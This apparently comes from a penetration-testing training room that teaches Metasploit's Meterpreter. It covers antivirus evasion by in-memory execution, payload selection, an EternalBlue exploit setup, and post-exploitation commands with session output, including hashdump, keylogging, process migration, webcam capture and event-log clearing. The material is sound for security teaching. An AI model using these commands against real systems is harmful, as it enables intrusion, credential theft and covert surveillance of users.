25 KiB
Metasploit Meterpreter
Meterpreter
Meterpreter is a Metasploit payload that supports the penetration testing process with many valuable components. Meterpreter will run on the target system and act as an agent within a command and control architecture. You will interact with the target operating system and files and use Meterpreter's specialized commands.
Meterpreter has many versions which will provide different functionalities based on the target system.
How does Meterpreter work?
Meterpreter runs on the target system but is not installed on it. It runs in memory and does not write itself to the disk on the target. This feature aims to avoid being detected during antivirus scans. By default, most antivirus software will scan new files on the disk (e.g. when you download a file from the internet) Meterpreter runs in memory (RAM - Random Access Memory) to avoid having a file that has to be written to the disk on the target system (e.g. meterpreter.exe). This way, Meterpreter will be seen as a process and not have a file on the target system.
Meterpreter also aims to avoid being detected by network-based IPS (Intrusion Prevention System) and IDS (Intrusion Detection System) solutions by using encrypted communication with the server where Metasploit runs (typically your attacking machine). If the target organization does not decrypt and inspect encrypted traffic (e.g. HTTPS) coming to and going out of the local network, IPS and IDS solutions will not be able to detect its activities.
While Meterpreter is recognized by major antivirus software, this feature provides some degree of stealth.
The example below shows a target Windows machine exploited using the MS17-010 vulnerability. You will see Meterpreter is running with a process ID (PID) of 1304; this PID will be different in your case. We have used the getpid command, which returns the process ID with which Meterpreter is running. The process ID (or process identifier) is used by operating systems to identify running processes. All processes running in Linux or Windows will have a unique ID number; this number is used to interact with the process when the need arises (e.g. if it needs to be stopped).
Getpid
meterpreter > getpid
Current pid: 1304
If we list processes running on the target system using the ps command, we see PID 1304 is spoolsv.exe and not Meterpreter.exe, as one might expect.
The ps command
meterpreter > ps
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
0 0 [System Process]
4 0 System x64 0
396 644 LogonUI.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\system32\LogonUI.exe
416 4 smss.exe x64 0 NT AUTHORITY\SYSTEM \SystemRoot\System32\smss.exe
428 692 svchost.exe x64 0 NT AUTHORITY\SYSTEM
548 540 csrss.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\csrss.exe
596 540 wininit.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\wininit.exe
604 588 csrss.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\system32\csrss.exe
644 588 winlogon.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\system32\winlogon.exe
692 596 services.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\services.exe
700 692 sppsvc.exe x64 0 NT AUTHORITY\NETWORK SERVICE
716 596 lsass.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\lsass.exe 1276 1304 cmd.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\cmd.exe
1304 692 spoolsv.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\spoolsv.exe
1340 692 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE
1388 548 conhost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\conhost.exe
Even if we were to go a step further and look at DLLs (Dynamic-Link Libraries) used by the Meterpreter process (PID 1304 in this case), we still would not find anything jumping at us (e.g. no meterpreter.dll)
The Meterpreter process
C:\Windows\system32>tasklist /m /fi "pid eq 1304"
tasklist /m /fi "pid eq 1304"
Image Name PID Modules
========================= ======== ============================================
spoolsv.exe 1304 ntdll.dll, kernel32.dll, KERNELBASE.dll,
msvcrt.dll, sechost.dll, RPCRT4.dll,
USER32.dll, GDI32.dll, LPK.dll, USP10.dll,
POWRPROF.dll, SETUPAPI.dll, CFGMGR32.dll,
ADVAPI32.dll, OLEAUT32.dll, ole32.dll,
DEVOBJ.dll, DNSAPI.dll, WS2_32.dll,
NSI.dll, IMM32.DLL, MSCTF.dll,
CRYPTBASE.dll, slc.dll, RpcRtRemote.dll,
secur32.dll, SSPICLI.DLL, credssp.dll,
IPHLPAPI.DLL, WINNSI.DLL, mswsock.dll,
wshtcpip.dll, wship6.dll, rasadhlp.dll,
fwpuclnt.dll, CLBCatQ.DLL, umb.dll,
ATL.DLL, WINTRUST.dll, CRYPT32.dll,
MSASN1.dll, localspl.dll, SPOOLSS.DLL,
srvcli.dll, winspool.drv,
PrintIsolationProxy.dll, FXSMON.DLL,
tcpmon.dll, snmpapi.dll, wsnmp32.dll,
msxml6.dll, SHLWAPI.dll, usbmon.dll,
wls0wndh.dll, WSDMon.dll, wsdapi.dll,
webservices.dll, FirewallAPI.dll,
VERSION.dll, FunDisc.dll, fdPnp.dll,
winprint.dll, USERENV.dll, profapi.dll,
GPAPI.dll, dsrole.dll, win32spl.dll,
inetpp.dll, DEVRTL.dll, SPINF.dll,
CRYPTSP.dll, rsaenh.dll, WINSTA.dll,
cscapi.dll, netutils.dll, WININET.dll,
urlmon.dll, iertutil.dll, WINHTTP.dll,
webio.dll, SHELL32.dll, MPR.dll,
NETAPI32.dll, wkscli.dll, PSAPI.DLL,
WINMM.dll, dhcpcsvc6.DLL, dhcpcsvc.DLL,
apphelp.dll, NLAapi.dll, napinsp.dll,
pnrpnsp.dll, winrnr.dll
C:\Windows\system32>
Techniques and tools that can be used to detect Meterpreter are beyond the scope of this room. This section aimed to show you how stealthy Meterpreter is running; remember, most antivirus software will detect it.
It is also worth noting that Meterpreter will establish an encrypted (TLS) communication channel with the attacker's system.
Meterpreter Flavors
As discussed in the previous Metasploit rooms, linked below, Metasploit payloads can be initially divided into two categories; inline (also called single) and staged.
Introduction to Metasploit: https://www.tryhackme.com/jr/metasploitintro
Scanning and Exploitation with Metasploit: https://www.tryhackme.com/jr/metasploitexploitation
As you will remember, staged payloads are sent to the target in two steps. An initial part is installed (the stager) and requests the rest of the payload. This allows for a smaller initial payload size. The inline payloads are sent in a single step. Meterpreter payloads are also divided into stagged and inline versions. However, Meterpreter has a wide range of different versions you can choose from based on your target system.
The easiest way to have an idea about available Meterpreter versions could be to list them using msfvenom, as seen below.
We have used the msfvenom --list payloads command and grepped "meterpreter" payloads (adding | grep meterpreter to the command line), so the output only shows these. You can try this command on the AttackBox.
Listing Meterpreter payloads
root@ip-10-10-186-44:~# msfvenom --list payloads | grep meterpreter
android/meterpreter/reverse_http Run a meterpreter server in Android. Tunnel communication over HTTP
android/meterpreter/reverse_https Run a meterpreter server in Android. Tunnel communication over HTTPS
android/meterpreter/reverse_tcp Run a meterpreter server in Android. Connect back stager
android/meterpreter_reverse_http Connect back to attacker and spawn a Meterpreter shell
android/meterpreter_reverse_https Connect back to attacker and spawn a Meterpreter shell
android/meterpreter_reverse_tcp Connect back to the attacker and spawn a Meterpreter shell
apple_ios/aarch64/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)
apple_ios/aarch64/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)
apple_ios/aarch64/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)
apple_ios/armle/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)
apple_ios/armle/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)
apple_ios/armle/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)
java/meterpreter/bind_tcp Run a meterpreter server in Java. Listen for a connection
java/meterpreter/reverse_http Run a meterpreter server in Java. Tunnel communication over HTTP
java/meterpreter/reverse_https Run a meterpreter server in Java. Tunnel communication over HTTPS
java/meterpreter/reverse_tcp Run a meterpreter server in Java. Connect back stager
linux/aarch64/meterpreter/reverse_tcp Inject the mettle server payload (staged). Connect back to the attacker
linux/aarch64/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)
linux/aarch64/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)
linux/aarch64/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)
linux/armbe/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)
linux/armbe/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)
linux/armbe/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)
linux/armle/meterpreter/bind_tcp Inject the mettle server payload (staged). Listen for a connection
linux/armle/meterpreter/reverse_tcp Inject the mettle server payload (staged). Connect back to the attacker [...]
The list will show Meterpreter versions available for the following platforms;
- Android
- Apple iOS
- Java
- Linux
- OSX
- PHP
- Python
- Windows
Your decision on which version of Meterpreter to use will be mostly based on three factors;
- The target operating system (Is the target operating system Linux or Windows? Is it a Mac device? Is it an Android phone? etc.)
- Components available on the target system (Is Python installed? Is this a PHP website? etc.)
- Network connection types you can have with the target system (Do they allow raw TCP connections? Can you only have an HTTPS reverse connection? Are IPv6 addresses not as closely monitored as IPv4 addresses? etc.)
If you are not using Meterpreter as a standalone payload generated by Msfvenom, your choice may also be limited by the exploit. You will notice some exploits will have a default Meterpreter payload, as you can see in the example below with the ms17_010_eternalblue exploit.
Default payload for MS17-010
msf6 > use exploit/windows/smb/ms17_010_eternalblue
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) >
You can also list other available payloads using the show payloads command with any module.
Available payloads
msf6 exploit(windows/smb/ms17_010_eternalblue) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 generic/custom manual No Custom Payload
1 generic/shell_bind_tcp manual No Generic Command Shell, Bind TCP Inline
2 generic/shell_reverse_tcp manual No Generic Command Shell, Reverse TCP Inline
3 windows/x64/exec manual No Windows x64 Execute Command
4 windows/x64/loadlibrary manual No Windows x64 LoadLibrary Path
5 windows/x64/messagebox manual No Windows MessageBox x64
6 windows/x64/meterpreter/bind_ipv6_tcp manual No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
7 windows/x64/meterpreter/bind_ipv6_tcp_uuid manual No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
8 windows/x64/meterpreter/bind_named_pipe manual No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager [...]
Meterpreter commands
Core commands will be helpful to navigate and interact with the target system. Below are some of the most commonly used. Remember to check all available commands running the help command once a Meterpreter session has started.
Core commands
-
background: Backgrounds the current session -
exit: Terminate the Meterpreter session -
guid: Get the session GUID (Globally Unique Identifier) -
help: Displays the help menu -
info: Displays information about a Post module -
irb: Opens an interactive Ruby shell on the current session -
load: Loads one or more Meterpreter extensions -
migrate: Allows you to migrate Meterpreter to another process -
run: Executes a Meterpreter script or Post module -
sessions: Quickly switch to another session
File system commands
cd: Will change directoryls: Will list files in the current directory (dir will also work)pwd: Prints the current working directoryedit: will allow you to edit a filecat: Will show the contents of a file to the screenrm: Will delete the specified filesearch: Will search for filesupload: Will upload a file or directorydownload: Will download a file or directory
Networking commands
-
arp: Displays the host ARP (Address Resolution Protocol) cache -
ifconfig: Displays network interfaces available on the target system -
netstat: Displays the network connections -
portfwd: Forwards a local port to a remote service -
route: Allows you to view and modify the routing table
System commands
clearev: Clears the event logsexecute: Executes a commandgetpid: Shows the current process identifiergetuid: Shows the user that Meterpreter is running askill: Terminates a processpkill: Terminates processes by nameps: Lists running processesreboot: Reboots the remote computershell: Drops into a system command shellshutdown: Shuts down the remote computersysinfo: Gets information about the remote system, such as OS
Others Commands (these will be listed under different menu categories in the help menu)
idletime: Returns the number of seconds the remote user has been idlekeyscan_dump: Dumps the keystroke bufferkeyscan_start: Starts capturing keystrokeskeyscan_stop: Stops capturing keystrokesscreenshare: Allows you to watch the remote user's desktop in real timescreenshot: Grabs a screenshot of the interactive desktoprecord_mic: Records audio from the default microphone for X secondswebcam_chat: Starts a video chatwebcam_list: Lists webcamswebcam_snap: Takes a snapshot from the specified webcamwebcam_stream: Plays a video stream from the specified webcamgetsystem: Attempts to elevate your privilege to that of local systemhashdump: Dumps the contents of the SAM database
Post Exploitation Meterpreter
Meterpreter provides you with many useful commands that facilitate the post-exploitation phase. Below are a few examples you will often use.
Help
This command will give you a list of all available commands in Meterpreter. As we have seen earlier, Meterpreter has many versions, and each version may have different options available. Typing help once you have a Meterpreter session will help you quickly browse through available commands.
The Meterpreter help menu
meterpreter > help
Core Commands
=============
Command Description
------- -----------
? Help menu
background Backgrounds the current session
bg Alias for background
bgkill Kills a background meterpreter script
bglist Lists running background scripts
bgrun Executes a meterpreter script as a background thread
channel Displays information or control active channels
close Closes a channel[...]
Meterpreter commands
The getuid command will display the user with which Meterpreter is currently running. This will give you an idea of your possible privilege level on the target system (e.g. Are you an admin level user like NT AUTHORITY\SYSTEM or a regular user?)
The getuid command
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
The ps command will list running processes. The PID column will also give you the PID information you will need to migrate Meterpreter to another process.
The ps command
meterpreter > ps
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
0 0 [System Process]
4 0 System x64 0
396 644 LogonUI.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\system32\LogonUI.exe
416 4 smss.exe x64 0 NT AUTHORITY\SYSTEM \SystemRoot\System32\smss.exe
428 692 svchost.exe x64 0 NT AUTHORITY\SYSTEM
548 540 csrss.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\csrss.exe
596 540 wininit.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\wininit.exe
604 588 csrss.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\system32\csrss.exe
644 588 winlogon.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\system32\winlogon.exe
692 596 services.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\services.exe
700 692 sppsvc.exe x64 0 NT AUTHORITY\NETWORK SERVICE
716 596 lsass.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\lsass.exe
724 596 lsm.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\lsm.exe
764 692 svchost.exe x64 0 NT AUTHORITY\SYSTEM
828 692 svchost.exe x64 0 NT AUTHORITY\SYSTEM
864 828 WmiPrvSE.exe
900 692 svchost.exe x64 0 NT AUTHORITY\NETWORK SERVICE
952 692 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE
1076 692 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE
1164 548 conhost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\conhost.exe
1168 692 svchost.exe x64 0 NT AUTHORITY\NETWORK SERVICE
1244 548 conhost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\conhost.exe
1276 1304 cmd.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\cmd.exe
1304 692 spoolsv.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\spoolsv.exe
1340 692 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE
1388 548 conhost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\conhost.exe[...]
Migrate
Migrating to another process will help Meterpreter interact with it. For example, if you see a word processor running on the target (e.g. word.exe, notepad.exe, etc.), you can migrate to it and start capturing keystrokes sent by the user to this process. Some Meterpreter versions will offer you the keyscan_start, keyscan_stop, and keyscan_dump command options to make Meterpreter act like a keylogger. Migrating to another process may also help you to have a more stable Meterpreter session.
To migrate to any process, you need to type the migrate command followed by the PID of the desired target process. The example below shows Meterpreter migrating to process ID 716.
The migrate command
meterpreter > migrate 716
[*] Migrating from 1304 to 716...
[*] Migration completed successfully.
meterpreter >
Be careful; you may lose your user privileges if you migrate from a higher privileged (e.g. SYSTEM) user to a process started by a lower privileged user (e.g. webserver). You may not be able to gain them back.
Hashdump
The hashdump command will list the content of the SAM database. The SAM (Security Account Manager) database stores user's passwords on Windows systems. These passwords are stored in the NTLM (New Technology LAN Manager) format.
The hashdump command
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::
meterpreter >
While it is not mathematically possible to "crack" these hashes, you may still discover the cleartext password using online NTLM databases or a rainbow table attack. These hashes can also be used in Pass-the-Hash attacks to authenticate to other systems that these users can access the same network.
Search
The search command is useful to locate files with potentially juicy information. In a CTF context, this can be used to quickly find a flag or proof file, while in actual penetration testing engagements, you may need to search for user-generated files or configuration files that may contain password or account information.
The search command
meterpreter > search -f flag2.txt
Found 1 result...
c:\Windows\System32\config\flag2.txt (34 bytes)
meterpreter >
Shell
The shell command will launch a regular command-line shell on the target system. Pressing CTRL+Z will help you go back to the Meterpreter shell.
The shell command
meterpreter > shell
Process 2124 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>